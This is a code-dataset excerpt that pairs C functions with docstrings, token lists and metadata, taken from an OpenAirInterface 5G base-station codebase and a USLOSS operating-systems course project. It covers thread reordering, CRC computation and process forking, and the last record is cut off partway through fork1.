This thread reads the finished L1 tx jobs from threaPool and pushes RU tx thread in the right order. It works only two parallel L1 tx threads.
[ "This", "thread", "reads", "the", "finished", "L1", "tx", "jobs", "from", "threaPool", "and", "pushes", "RU", "tx", "thread", "in", "the", "right", "order", ".", "It", "works", "only", "two", "parallel", "L1", "tx", "threads", "." ]
void *tx_reorder_thread(void* param) { PHY_VARS_gNB *gNB = (PHY_VARS_gNB *)param; notifiedFIFO_elt_t *resL1Reserve = NULL; resL1Reserve=pullTpool(gNB->L1_tx_out, gNB->threadPool); int next_tx_slot=((processingData_L1tx_t *)NotifiedFifoData(resL1Reserve))->slot; while (!oai_exit) { notifiedFIFO_elt_t *resL1; if (resL1Reserve) { resL1=resL1Reserve; if (((processingData_L1tx_t *)NotifiedFifoData(resL1))->slot != next_tx_slot) { LOG_E(PHY,"order mistake"); resL1Reserve=NULL; resL1 = pullTpool(gNB->L1_tx_out, gNB->threadPool); } } else { resL1 = pullTpool(gNB->L1_tx_out, gNB->threadPool); if (((processingData_L1tx_t *)NotifiedFifoData(resL1))->slot != next_tx_slot) { if (resL1Reserve) LOG_E(PHY,"error, have a stored packet, then a second one\n"); resL1Reserve=resL1; resL1 = pullTpool(gNB->L1_tx_out, gNB->threadPool); if (((processingData_L1tx_t *)NotifiedFifoData(resL1))->slot != next_tx_slot) LOG_E(PHY,"error, pull two msg, none is good\n"); } } processingData_L1tx_t *syncMsgL1= (processingData_L1tx_t *)NotifiedFifoData(resL1); processingData_RU_t syncMsgRU; syncMsgRU.frame_tx = syncMsgL1->frame; syncMsgRU.slot_tx = syncMsgL1->slot; syncMsgRU.timestamp_tx = syncMsgL1->timestamp_tx; syncMsgRU.ru = gNB->RU_list[0]; next_tx_slot = get_next_downlink_slot(gNB, &gNB->gNB_config, syncMsgRU.frame_tx, syncMsgRU.slot_tx); pushNotifiedFIFO(gNB->L1_tx_free, resL1); if (resL1==resL1Reserve) resL1Reserve=NULL; ru_tx_func((void*)&syncMsgRU); } return(NULL); }
[ "void", "*", "tx_reorder_thread", "(", "void", "*", "param", ")", "{", "PHY_VARS_gNB", "*", "gNB", "=", "(", "PHY_VARS_gNB", "*", ")", "param", ";", "notifiedFIFO_elt_t", "*", "resL1Reserve", "=", "NULL", ";", "resL1Reserve", "=", "pullTpool", "(", "gNB", "->", "L1_tx_out", ",", "gNB", "->", "threadPool", ")", ";", "int", "next_tx_slot", "=", "(", "(", "processingData_L1tx_t", "*", ")", "NotifiedFifoData", "(", "resL1Reserve", ")", ")", "->", "slot", ";", "while", "(", "!", "oai_exit", ")", "{", "notifiedFIFO_elt_t", "*", "resL1", ";", "if", "(", "resL1Reserve", ")", "{", "resL1", "=", "resL1Reserve", ";", "if", "(", "(", "(", "processingData_L1tx_t", "*", ")", "NotifiedFifoData", "(", "resL1", ")", ")", "->", "slot", "!=", "next_tx_slot", ")", "{", "LOG_E", "(", "PHY", ",", "\"", "\"", ")", ";", "resL1Reserve", "=", "NULL", ";", "resL1", "=", "pullTpool", "(", "gNB", "->", "L1_tx_out", ",", "gNB", "->", "threadPool", ")", ";", "}", "}", "else", "{", "resL1", "=", "pullTpool", "(", "gNB", "->", "L1_tx_out", ",", "gNB", "->", "threadPool", ")", ";", "if", "(", "(", "(", "processingData_L1tx_t", "*", ")", "NotifiedFifoData", "(", "resL1", ")", ")", "->", "slot", "!=", "next_tx_slot", ")", "{", "if", "(", "resL1Reserve", ")", "LOG_E", "(", "PHY", ",", "\"", "\\n", "\"", ")", ";", "resL1Reserve", "=", "resL1", ";", "resL1", "=", "pullTpool", "(", "gNB", "->", "L1_tx_out", ",", "gNB", "->", "threadPool", ")", ";", "if", "(", "(", "(", "processingData_L1tx_t", "*", ")", "NotifiedFifoData", "(", "resL1", ")", ")", "->", "slot", "!=", "next_tx_slot", ")", "LOG_E", "(", "PHY", ",", "\"", "\\n", "\"", ")", ";", "}", "}", "processingData_L1tx_t", "*", "syncMsgL1", "=", "(", "processingData_L1tx_t", "*", ")", "NotifiedFifoData", "(", "resL1", ")", ";", "processingData_RU_t", "syncMsgRU", ";", "syncMsgRU", ".", "frame_tx", "=", "syncMsgL1", "->", "frame", ";", "syncMsgRU", ".", "slot_tx", "=", "syncMsgL1", "->", "slot", ";", "syncMsgRU", ".", "timestamp_tx", "=", "syncMsgL1", "->", "timestamp_tx", ";", "syncMsgRU", ".", "ru", "=", "gNB", "->", "RU_list", "[", "0", "]", ";", "next_tx_slot", "=", "get_next_downlink_slot", "(", "gNB", ",", "&", "gNB", "->", "gNB_config", ",", "syncMsgRU", ".", "frame_tx", ",", "syncMsgRU", ".", "slot_tx", ")", ";", "pushNotifiedFIFO", "(", "gNB", "->", "L1_tx_free", ",", "resL1", ")", ";", "if", "(", "resL1", "==", "resL1Reserve", ")", "resL1Reserve", "=", "NULL", ";", "ru_tx_func", "(", "(", "void", "*", ")", "&", "syncMsgRU", ")", ";", "}", "return", "(", "NULL", ")", ";", "}" ]
This thread reads the finished L1 tx jobs from threaPool and pushes RU tx thread in the right order.
[ "This", "thread", "reads", "the", "finished", "L1", "tx", "jobs", "from", "threaPool", "and", "pushes", "RU", "tx", "thread", "in", "the", "right", "order", "." ]
[]
[ { "param": "param", "type": "void" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "param", "type": "void", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
2b1c36407bd7073198d89539b103ab72b6c0bf20
MCNL-HGU/OAI5G
executables/nr-gnb.c
[ "Apache-2.0" ]
C
kill_gNB_proc
void
void kill_gNB_proc(int inst) { PHY_VARS_gNB *gNB; gNB=RC.gNB[inst]; LOG_I(PHY, "Destroying UL_INFO mutex\n"); pthread_mutex_destroy(&gNB->UL_INFO_mutex); }
/*! * \brief Terminate gNB TX and RX threads. */
\brief Terminate gNB TX and RX threads.
[ "\\", "brief", "Terminate", "gNB", "TX", "and", "RX", "threads", "." ]
void kill_gNB_proc(int inst) { PHY_VARS_gNB *gNB; gNB=RC.gNB[inst]; LOG_I(PHY, "Destroying UL_INFO mutex\n"); pthread_mutex_destroy(&gNB->UL_INFO_mutex); }
[ "void", "kill_gNB_proc", "(", "int", "inst", ")", "{", "PHY_VARS_gNB", "*", "gNB", ";", "gNB", "=", "RC", ".", "gNB", "[", "inst", "]", ";", "LOG_I", "(", "PHY", ",", "\"", "\\n", "\"", ")", ";", "pthread_mutex_destroy", "(", "&", "gNB", "->", "UL_INFO_mutex", ")", ";", "}" ]
\brief Terminate gNB TX and RX threads.
[ "\\", "brief", "Terminate", "gNB", "TX", "and", "RX", "threads", "." ]
[]
[ { "param": "inst", "type": "int" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "inst", "type": "int", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
2b1c36407bd7073198d89539b103ab72b6c0bf20
MCNL-HGU/OAI5G
executables/nr-gnb.c
[ "Apache-2.0" ]
C
init_eNB_afterRU
void
void init_eNB_afterRU(void) { int inst,ru_id,i,aa; PHY_VARS_gNB *gNB; LOG_I(PHY,"%s() RC.nb_nr_inst:%d\n", __FUNCTION__, RC.nb_nr_inst); if(NFAPI_MODE == NFAPI_MODE_PNF) RC.nb_nr_inst = 1; for (inst=0; inst<RC.nb_nr_inst; inst++) { LOG_I(PHY,"RC.nb_nr_CC[inst:%d]:%p\n", inst, RC.gNB[inst]); gNB = RC.gNB[inst]; phy_init_nr_gNB(gNB,0,0); // map antennas and PRACH signals to gNB RX if (0) AssertFatal(gNB->num_RU>0,"Number of RU attached to gNB %d is zero\n",gNB->Mod_id); LOG_I(PHY,"Mapping RX ports from %d RUs to gNB %d\n",gNB->num_RU,gNB->Mod_id); LOG_I(PHY,"gNB->num_RU:%d\n", gNB->num_RU); for (ru_id=0,aa=0; ru_id<gNB->num_RU; ru_id++) { AssertFatal(gNB->RU_list[ru_id]->common.rxdataF!=NULL, "RU %d : common.rxdataF is NULL\n", gNB->RU_list[ru_id]->idx); AssertFatal(gNB->RU_list[ru_id]->prach_rxsigF!=NULL, "RU %d : prach_rxsigF is NULL\n", gNB->RU_list[ru_id]->idx); for (i=0; i<gNB->RU_list[ru_id]->nb_rx; aa++,i++) { LOG_I(PHY,"Attaching RU %d antenna %d to gNB antenna %d\n",gNB->RU_list[ru_id]->idx,i,aa); gNB->prach_vars.rxsigF[aa] = gNB->RU_list[ru_id]->prach_rxsigF[0][i]; #if 0 printf("before %p\n", gNB->common_vars.rxdataF[aa]); #endif gNB->common_vars.rxdataF[aa] = gNB->RU_list[ru_id]->common.rxdataF[i]; #if 0 printf("after %p\n", gNB->common_vars.rxdataF[aa]); #endif } } /* TODO: review this code, there is something wrong. * In monolithic mode, we come here with nb_antennas_rx == 0 * (not tested in other modes). */ //init_precoding_weights(RC.gNB[inst]); init_gNB_Tpool(inst); } }
/// eNB kept in function name for nffapi calls, TO FIX
eNB kept in function name for nffapi calls, TO FIX
[ "eNB", "kept", "in", "function", "name", "for", "nffapi", "calls", "TO", "FIX" ]
void init_eNB_afterRU(void) { int inst,ru_id,i,aa; PHY_VARS_gNB *gNB; LOG_I(PHY,"%s() RC.nb_nr_inst:%d\n", __FUNCTION__, RC.nb_nr_inst); if(NFAPI_MODE == NFAPI_MODE_PNF) RC.nb_nr_inst = 1; for (inst=0; inst<RC.nb_nr_inst; inst++) { LOG_I(PHY,"RC.nb_nr_CC[inst:%d]:%p\n", inst, RC.gNB[inst]); gNB = RC.gNB[inst]; phy_init_nr_gNB(gNB,0,0); if (0) AssertFatal(gNB->num_RU>0,"Number of RU attached to gNB %d is zero\n",gNB->Mod_id); LOG_I(PHY,"Mapping RX ports from %d RUs to gNB %d\n",gNB->num_RU,gNB->Mod_id); LOG_I(PHY,"gNB->num_RU:%d\n", gNB->num_RU); for (ru_id=0,aa=0; ru_id<gNB->num_RU; ru_id++) { AssertFatal(gNB->RU_list[ru_id]->common.rxdataF!=NULL, "RU %d : common.rxdataF is NULL\n", gNB->RU_list[ru_id]->idx); AssertFatal(gNB->RU_list[ru_id]->prach_rxsigF!=NULL, "RU %d : prach_rxsigF is NULL\n", gNB->RU_list[ru_id]->idx); for (i=0; i<gNB->RU_list[ru_id]->nb_rx; aa++,i++) { LOG_I(PHY,"Attaching RU %d antenna %d to gNB antenna %d\n",gNB->RU_list[ru_id]->idx,i,aa); gNB->prach_vars.rxsigF[aa] = gNB->RU_list[ru_id]->prach_rxsigF[0][i]; #if 0 printf("before %p\n", gNB->common_vars.rxdataF[aa]); #endif gNB->common_vars.rxdataF[aa] = gNB->RU_list[ru_id]->common.rxdataF[i]; #if 0 printf("after %p\n", gNB->common_vars.rxdataF[aa]); #endif } } init_gNB_Tpool(inst); } }
[ "void", "init_eNB_afterRU", "(", "void", ")", "{", "int", "inst", ",", "ru_id", ",", "i", ",", "aa", ";", "PHY_VARS_gNB", "*", "gNB", ";", "LOG_I", "(", "PHY", ",", "\"", "\\n", "\"", ",", "__FUNCTION__", ",", "RC", ".", "nb_nr_inst", ")", ";", "if", "(", "NFAPI_MODE", "==", "NFAPI_MODE_PNF", ")", "RC", ".", "nb_nr_inst", "=", "1", ";", "for", "(", "inst", "=", "0", ";", "inst", "<", "RC", ".", "nb_nr_inst", ";", "inst", "++", ")", "{", "LOG_I", "(", "PHY", ",", "\"", "\\n", "\"", ",", "inst", ",", "RC", ".", "gNB", "[", "inst", "]", ")", ";", "gNB", "=", "RC", ".", "gNB", "[", "inst", "]", ";", "phy_init_nr_gNB", "(", "gNB", ",", "0", ",", "0", ")", ";", "if", "(", "0", ")", "AssertFatal", "(", "gNB", "->", "num_RU", ">", "0", ",", "\"", "\\n", "\"", ",", "gNB", "->", "Mod_id", ")", ";", "LOG_I", "(", "PHY", ",", "\"", "\\n", "\"", ",", "gNB", "->", "num_RU", ",", "gNB", "->", "Mod_id", ")", ";", "LOG_I", "(", "PHY", ",", "\"", "\\n", "\"", ",", "gNB", "->", "num_RU", ")", ";", "for", "(", "ru_id", "=", "0", ",", "aa", "=", "0", ";", "ru_id", "<", "gNB", "->", "num_RU", ";", "ru_id", "++", ")", "{", "AssertFatal", "(", "gNB", "->", "RU_list", "[", "ru_id", "]", "->", "common", ".", "rxdataF", "!=", "NULL", ",", "\"", "\\n", "\"", ",", "gNB", "->", "RU_list", "[", "ru_id", "]", "->", "idx", ")", ";", "AssertFatal", "(", "gNB", "->", "RU_list", "[", "ru_id", "]", "->", "prach_rxsigF", "!=", "NULL", ",", "\"", "\\n", "\"", ",", "gNB", "->", "RU_list", "[", "ru_id", "]", "->", "idx", ")", ";", "for", "(", "i", "=", "0", ";", "i", "<", "gNB", "->", "RU_list", "[", "ru_id", "]", "->", "nb_rx", ";", "aa", "++", ",", "i", "++", ")", "{", "LOG_I", "(", "PHY", ",", "\"", "\\n", "\"", ",", "gNB", "->", "RU_list", "[", "ru_id", "]", "->", "idx", ",", "i", ",", "aa", ")", ";", "gNB", "->", "prach_vars", ".", "rxsigF", "[", "aa", "]", "=", "gNB", "->", "RU_list", "[", "ru_id", "]", "->", "prach_rxsigF", "[", "0", "]", "[", "i", "]", ";", "#if", "0", "\n", "printf", "(", "\"", "\\n", "\"", ",", "gNB", "->", "common_vars", ".", "rxdataF", "[", "aa", "]", ")", ";", "#endif", "gNB", "->", "common_vars", ".", "rxdataF", "[", "aa", "]", "=", "gNB", "->", "RU_list", "[", "ru_id", "]", "->", "common", ".", "rxdataF", "[", "i", "]", ";", "#if", "0", "\n", "printf", "(", "\"", "\\n", "\"", ",", "gNB", "->", "common_vars", ".", "rxdataF", "[", "aa", "]", ")", ";", "#endif", "}", "}", "init_gNB_Tpool", "(", "inst", ")", ";", "}", "}" ]
eNB kept in function name for nffapi calls, TO FIX
[ "eNB", "kept", "in", "function", "name", "for", "nffapi", "calls", "TO", "FIX" ]
[ "// map antennas and PRACH signals to gNB RX", "/* TODO: review this code, there is something wrong.\n * In monolithic mode, we come here with nb_antennas_rx == 0\n * (not tested in other modes).\n */", "//init_precoding_weights(RC.gNB[inst]);" ]
[]
{ "returns": [], "raises": [], "params": [], "outlier_params": [], "others": [] }
7e37abcf8152c4b388dd206edd0d3aee6523beff
MCNL-HGU/OAI5G
openair1/PHY/CODING/crc_byte.c
[ "Apache-2.0" ]
C
crcbit
null
unsigned int crcbit (unsigned char * inputptr, int octetlen, unsigned int poly) { unsigned int i, crc = 0, c; while (octetlen-- > 0) { c = (*inputptr++) << 24; for (i = 8; i != 0; i--) { if ((1 << 31) & (c ^ crc)) crc = (crc << 1) ^ poly; else crc <<= 1; c <<= 1; } } return crc; }
/********************************************************* For initialization && verification purposes, bit by bit implementation with any polynomial The first bit is in the MSB of each byte *********************************************************/
For initialization && verification purposes, bit by bit implementation with any polynomial The first bit is in the MSB of each byte
[ "For", "initialization", "&&", "verification", "purposes", "bit", "by", "bit", "implementation", "with", "any", "polynomial", "The", "first", "bit", "is", "in", "the", "MSB", "of", "each", "byte" ]
unsigned int crcbit (unsigned char * inputptr, int octetlen, unsigned int poly) { unsigned int i, crc = 0, c; while (octetlen-- > 0) { c = (*inputptr++) << 24; for (i = 8; i != 0; i--) { if ((1 << 31) & (c ^ crc)) crc = (crc << 1) ^ poly; else crc <<= 1; c <<= 1; } } return crc; }
[ "unsigned", "int", "crcbit", "(", "unsigned", "char", "*", "inputptr", ",", "int", "octetlen", ",", "unsigned", "int", "poly", ")", "{", "unsigned", "int", "i", ",", "crc", "=", "0", ",", "c", ";", "while", "(", "octetlen", "--", ">", "0", ")", "{", "c", "=", "(", "*", "inputptr", "++", ")", "<<", "24", ";", "for", "(", "i", "=", "8", ";", "i", "!=", "0", ";", "i", "--", ")", "{", "if", "(", "(", "1", "<<", "31", ")", "&", "(", "c", "^", "crc", ")", ")", "crc", "=", "(", "crc", "<<", "1", ")", "^", "poly", ";", "else", "crc", "<<=", "1", ";", "c", "<<=", "1", ";", "}", "}", "return", "crc", ";", "}" ]
For initialization && verification purposes, bit by bit implementation with any polynomial
[ "For", "initialization", "&&", "verification", "purposes", "bit", "by", "bit", "implementation", "with", "any", "polynomial" ]
[]
[ { "param": "inputptr", "type": "unsigned char" }, { "param": "octetlen", "type": "int" }, { "param": "poly", "type": "unsigned int" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "inputptr", "type": "unsigned char", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "octetlen", "type": "int", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "poly", "type": "unsigned int", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
638028f322420ab4581971334ec58ce6b3719e49
yikaicao/USLOSS_p1
backup.c
[ "Apache-2.0" ]
C
startup
void
void startup() { int result; // value returned by call to fork1() int startupCounter; // initialize the process table if (DEBUG && debugflag) USLOSS_Console("startup(): initializing process table, ProcTable[]\n"); for (startupCounter = 0; startupCounter < MAXPROC; startupCounter++) { ProcTable[startupCounter].status = EMPTY; } // Initialize the Ready list, etc. if (DEBUG && debugflag) USLOSS_Console("startup(): initializing the Ready list\n"); ReadyList = NULL; // Initialize the clock interrupt handler USLOSS_IntVec[USLOSS_CLOCK_INT] = clock_handler; //clock_handler; USLOSS_IntVec[USLOSS_CLOCK_DEV] = clock_handler; //clock_handler; USLOSS_IntVec[USLOSS_ALARM_INT] = alarm_handler; //alarm_handler; USLOSS_IntVec[USLOSS_ALARM_DEV] = alarm_handler; //alarm_handler; USLOSS_IntVec[USLOSS_TERM_INT] = term_handler; //term_handler; USLOSS_IntVec[USLOSS_TERM_DEV] = term_handler; //term_handler; USLOSS_IntVec[USLOSS_SYSCALL_INT] = syscall_handler; //syscall_handler; USLOSS_IntVec[USLOSS_DISK_INT] = disk_handler; //disk_handler; USLOSS_IntVec[USLOSS_DISK_DEV] = disk_handler; //disk_handler; // startup a sentinel process if (DEBUG && debugflag) USLOSS_Console("startup(): calling fork1() for sentinel\n"); result = fork1("sentinel", sentinel, NULL, USLOSS_MIN_STACK, SENTINELPRIORITY); if (result < 0) { if (DEBUG && debugflag) { USLOSS_Console("startup(): fork1 of sentinel returned error, "); USLOSS_Console("halting...\n"); } USLOSS_Halt(1); } // start the test process if (DEBUG && debugflag) USLOSS_Console("startup(): calling fork1() for start1\n"); result = fork1("start1", start1, NULL, 2 * USLOSS_MIN_STACK, 1); if (result < 0) { USLOSS_Console("startup(): fork1 for start1 returned an error, "); USLOSS_Console("halting...\n"); USLOSS_Halt(1); } USLOSS_Console("startup(): Should not see this message! "); USLOSS_Console("Returned from fork1 call that created start1\n"); return; }
/* -------------------------- Functions ----------------------------------- */ /* ------------------------------------------------------------------------ Name - startup Purpose - Initializes process lists and clock interrupt vector. Start up sentinel process and the test process. Parameters - none, called by USLOSS Returns - nothing Side Effects - lots, starts the whole thing ----------------------------------------------------------------------- */
Functions Name - startup Purpose - Initializes process lists and clock interrupt vector. Start up sentinel process and the test process. Parameters - none, called by USLOSS Returns - nothing Side Effects - lots, starts the whole thing
[ "Functions", "Name", "-", "startup", "Purpose", "-", "Initializes", "process", "lists", "and", "clock", "interrupt", "vector", ".", "Start", "up", "sentinel", "process", "and", "the", "test", "process", ".", "Parameters", "-", "none", "called", "by", "USLOSS", "Returns", "-", "nothing", "Side", "Effects", "-", "lots", "starts", "the", "whole", "thing" ]
void startup() { int result; int startupCounter; if (DEBUG && debugflag) USLOSS_Console("startup(): initializing process table, ProcTable[]\n"); for (startupCounter = 0; startupCounter < MAXPROC; startupCounter++) { ProcTable[startupCounter].status = EMPTY; } if (DEBUG && debugflag) USLOSS_Console("startup(): initializing the Ready list\n"); ReadyList = NULL; USLOSS_IntVec[USLOSS_CLOCK_INT] = clock_handler; USLOSS_IntVec[USLOSS_CLOCK_DEV] = clock_handler; USLOSS_IntVec[USLOSS_ALARM_INT] = alarm_handler; USLOSS_IntVec[USLOSS_ALARM_DEV] = alarm_handler; USLOSS_IntVec[USLOSS_TERM_INT] = term_handler; USLOSS_IntVec[USLOSS_TERM_DEV] = term_handler; USLOSS_IntVec[USLOSS_SYSCALL_INT] = syscall_handler; USLOSS_IntVec[USLOSS_DISK_INT] = disk_handler; USLOSS_IntVec[USLOSS_DISK_DEV] = disk_handler; if (DEBUG && debugflag) USLOSS_Console("startup(): calling fork1() for sentinel\n"); result = fork1("sentinel", sentinel, NULL, USLOSS_MIN_STACK, SENTINELPRIORITY); if (result < 0) { if (DEBUG && debugflag) { USLOSS_Console("startup(): fork1 of sentinel returned error, "); USLOSS_Console("halting...\n"); } USLOSS_Halt(1); } if (DEBUG && debugflag) USLOSS_Console("startup(): calling fork1() for start1\n"); result = fork1("start1", start1, NULL, 2 * USLOSS_MIN_STACK, 1); if (result < 0) { USLOSS_Console("startup(): fork1 for start1 returned an error, "); USLOSS_Console("halting...\n"); USLOSS_Halt(1); } USLOSS_Console("startup(): Should not see this message! "); USLOSS_Console("Returned from fork1 call that created start1\n"); return; }
[ "void", "startup", "(", ")", "{", "int", "result", ";", "int", "startupCounter", ";", "if", "(", "DEBUG", "&&", "debugflag", ")", "USLOSS_Console", "(", "\"", "\\n", "\"", ")", ";", "for", "(", "startupCounter", "=", "0", ";", "startupCounter", "<", "MAXPROC", ";", "startupCounter", "++", ")", "{", "ProcTable", "[", "startupCounter", "]", ".", "status", "=", "EMPTY", ";", "}", "if", "(", "DEBUG", "&&", "debugflag", ")", "USLOSS_Console", "(", "\"", "\\n", "\"", ")", ";", "ReadyList", "=", "NULL", ";", "USLOSS_IntVec", "[", "USLOSS_CLOCK_INT", "]", "=", "clock_handler", ";", "USLOSS_IntVec", "[", "USLOSS_CLOCK_DEV", "]", "=", "clock_handler", ";", "USLOSS_IntVec", "[", "USLOSS_ALARM_INT", "]", "=", "alarm_handler", ";", "USLOSS_IntVec", "[", "USLOSS_ALARM_DEV", "]", "=", "alarm_handler", ";", "USLOSS_IntVec", "[", "USLOSS_TERM_INT", "]", "=", "term_handler", ";", "USLOSS_IntVec", "[", "USLOSS_TERM_DEV", "]", "=", "term_handler", ";", "USLOSS_IntVec", "[", "USLOSS_SYSCALL_INT", "]", "=", "syscall_handler", ";", "USLOSS_IntVec", "[", "USLOSS_DISK_INT", "]", "=", "disk_handler", ";", "USLOSS_IntVec", "[", "USLOSS_DISK_DEV", "]", "=", "disk_handler", ";", "if", "(", "DEBUG", "&&", "debugflag", ")", "USLOSS_Console", "(", "\"", "\\n", "\"", ")", ";", "result", "=", "fork1", "(", "\"", "\"", ",", "sentinel", ",", "NULL", ",", "USLOSS_MIN_STACK", ",", "SENTINELPRIORITY", ")", ";", "if", "(", "result", "<", "0", ")", "{", "if", "(", "DEBUG", "&&", "debugflag", ")", "{", "USLOSS_Console", "(", "\"", "\"", ")", ";", "USLOSS_Console", "(", "\"", "\\n", "\"", ")", ";", "}", "USLOSS_Halt", "(", "1", ")", ";", "}", "if", "(", "DEBUG", "&&", "debugflag", ")", "USLOSS_Console", "(", "\"", "\\n", "\"", ")", ";", "result", "=", "fork1", "(", "\"", "\"", ",", "start1", ",", "NULL", ",", "2", "*", "USLOSS_MIN_STACK", ",", "1", ")", ";", "if", "(", "result", "<", "0", ")", "{", "USLOSS_Console", "(", "\"", "\"", ")", ";", "USLOSS_Console", "(", "\"", "\\n", "\"", ")", ";", "USLOSS_Halt", "(", "1", ")", ";", "}", "USLOSS_Console", "(", "\"", "\"", ")", ";", "USLOSS_Console", "(", "\"", "\\n", "\"", ")", ";", "return", ";", "}" ]
Functions Name - startup Purpose - Initializes process lists and clock interrupt vector.
[ "Functions", "Name", "-", "startup", "Purpose", "-", "Initializes", "process", "lists", "and", "clock", "interrupt", "vector", "." ]
[ "// value returned by call to fork1()", "// initialize the process table", "// Initialize the Ready list, etc.", "// Initialize the clock interrupt handler", "//clock_handler;", "//clock_handler;", "//alarm_handler;", "//alarm_handler;", "//term_handler;", "//term_handler;", "//syscall_handler;", "//disk_handler;", "//disk_handler;", "// startup a sentinel process", "// start the test process" ]
[]
{ "returns": [], "raises": [], "params": [], "outlier_params": [], "others": [] }
638028f322420ab4581971334ec58ce6b3719e49
yikaicao/USLOSS_p1
backup.c
[ "Apache-2.0" ]
C
fork1
int
int fork1(char *name, int (*startFunc)(char *), char *arg, int stacksize, int priority) { if(!inKernel()) { USLOSS_Console("fork1(): called while in user mode, by process %d. Halting...\n", Current->pid); USLOSS_Halt(1); } //Turn off interrupts during fork creation process disableInterrupts(); int procSlot = -1; int forkCounter = 0; if (DEBUG && debugflag) USLOSS_Console("fork1(): creating process %s\n", name); // test if in kernel mode; halt if in user mode // Return -2 if stack size is too small if (stacksize < USLOSS_MIN_STACK) return -2; // Return -1 if priority is not in bound // special case when forking sentinel if (ReadyList == NULL) { if (priority != SENTINELPRIORITY) return -1; } else if (priority < MAXPRIORITY || priority > MINPRIORITY) return -1; //Special case where pid assignment loop could try and assign same pid consecutivly. Avoids situation if( (usableSlot(pidCounter)) && (pidCounter == prevPid)) { pidCounter++; } // find an empty slot in the process table while(!usableSlot(pidCounter) && forkCounter < MAXPROC) { pidCounter++; forkCounter++; } //No slots available if(forkCounter == MAXPROC) return -1; procSlot = pidCounter % MAXPROC; //For above check to ensure same pid not used twice prevPid = pidCounter; /* fill-in entry in process table */ // fill-in name, startFunc, startArg and state if ( strlen(name) >= (MAXNAME - 1) ) { USLOSS_Console("fork1(): Process name is too long. Halting...\n"); USLOSS_Halt(1); } strcpy(ProcTable[procSlot].name, name); ProcTable[procSlot].startFunc = startFunc; if ( arg == NULL ) ProcTable[procSlot].startArg[0] = '\0'; else if ( strlen(arg) >= (MAXARG - 1) ) { USLOSS_Console("fork1(): argument too long. Halting...\n"); USLOSS_Halt(1); } else strcpy(ProcTable[procSlot].startArg, arg); // fill in related ptr ProcTable[procSlot].nextProcPtr = NULL; // ReadyList, need to be updated later in fork1 ProcTable[procSlot].childProcPtr = NULL; // ChildrenList ProcTable[procSlot].nextSiblingPtr = NULL; // ChildrenList, need to be updated later in fork1 ProcTable[procSlot].quitHead = NULL; ProcTable[procSlot].quitNext = NULL; ProcTable[procSlot].whoZappedMeHead = NULL; ProcTable[procSlot].whoZappedMeNext = NULL; // fill in others ProcTable[procSlot].pid = pidCounter; ProcTable[procSlot].priority = priority; ProcTable[procSlot].stack = malloc(stacksize); ProcTable[procSlot].stackSize = stacksize; ProcTable[procSlot].status = READY; ProcTable[procSlot].amIZapped = 0; ProcTable[procSlot].timeRun = 0; // fill in parentPid if (Current == NULL) ProcTable[procSlot].parentPtr = NULL; else { ProcTable[procSlot].parentPtr = Current; // update parent's childrenList if(Current->childProcPtr == NULL) { //If child has no parents Current->childProcPtr = &ProcTable[procSlot]; } else { //Else add new child to front of list ProcTable[procSlot].nextSiblingPtr = Current->childProcPtr; Current->childProcPtr = &ProcTable[procSlot]; } } // Insert new process into readyList insertRL(&ProcTable[procSlot]); /* end of filling in entry in process table */ // Initialize context for this process, but use launch function pointer for // the initial value of the process's program counter (PC) USLOSS_ContextInit(&(ProcTable[procSlot].state), USLOSS_PsrGet(), ProcTable[procSlot].stack, ProcTable[procSlot].stackSize, launch); // for future phase(s) p1_fork(ProcTable[procSlot].pid); // call dispatcher if not sentinel if (ProcTable[procSlot].priority != SENTINELPRIORITY) dispatcher(); // More stuff to do here... return ProcTable[procSlot].pid; // -1 is not correct! Here to prevent warning. }
/* ------------------------------------------------------------------------ Name - fork1 Purpose - Gets a new process from the process table and initializes information of the process. Updates information in the parent process to reflect this child process creation. Parameters - the process procedure address, the size of the stack and the priority to be assigned to the child process. Returns - the process id of the created child or -1 if no child could be created or if priority is not between max and min priority. return -2 if stack size is too small Side Effects - ReadyList is changed, ProcTable is changed, Current process information changed ------------------------------------------------------------------------ */
fork1 Purpose - Gets a new process from the process table and initializes information of the process. Updates information in the parent process to reflect this child process creation. Parameters - the process procedure address, the size of the stack and the priority to be assigned to the child process. Returns - the process id of the created child or -1 if no child could be created or if priority is not between max and min priority. return -2 if stack size is too small Side Effects - ReadyList is changed, ProcTable is changed, Current process information changed
[ "fork1", "Purpose", "-", "Gets", "a", "new", "process", "from", "the", "process", "table", "and", "initializes", "information", "of", "the", "process", ".", "Updates", "information", "in", "the", "parent", "process", "to", "reflect", "this", "child", "process", "creation", ".", "Parameters", "-", "the", "process", "procedure", "address", "the", "size", "of", "the", "stack", "and", "the", "priority", "to", "be", "assigned", "to", "the", "child", "process", ".", "Returns", "-", "the", "process", "id", "of", "the", "created", "child", "or", "-", "1", "if", "no", "child", "could", "be", "created", "or", "if", "priority", "is", "not", "between", "max", "and", "min", "priority", ".", "return", "-", "2", "if", "stack", "size", "is", "too", "small", "Side", "Effects", "-", "ReadyList", "is", "changed", "ProcTable", "is", "changed", "Current", "process", "information", "changed" ]
int fork1(char *name, int (*startFunc)(char *), char *arg, int stacksize, int priority) { if(!inKernel()) { USLOSS_Console("fork1(): called while in user mode, by process %d. Halting...\n", Current->pid); USLOSS_Halt(1); } disableInterrupts(); int procSlot = -1; int forkCounter = 0; if (DEBUG && debugflag) USLOSS_Console("fork1(): creating process %s\n", name); if (stacksize < USLOSS_MIN_STACK) return -2; if (ReadyList == NULL) { if (priority != SENTINELPRIORITY) return -1; } else if (priority < MAXPRIORITY || priority > MINPRIORITY) return -1; if( (usableSlot(pidCounter)) && (pidCounter == prevPid)) { pidCounter++; } while(!usableSlot(pidCounter) && forkCounter < MAXPROC) { pidCounter++; forkCounter++; } if(forkCounter == MAXPROC) return -1; procSlot = pidCounter % MAXPROC; prevPid = pidCounter; if ( strlen(name) >= (MAXNAME - 1) ) { USLOSS_Console("fork1(): Process name is too long. Halting...\n"); USLOSS_Halt(1); } strcpy(ProcTable[procSlot].name, name); ProcTable[procSlot].startFunc = startFunc; if ( arg == NULL ) 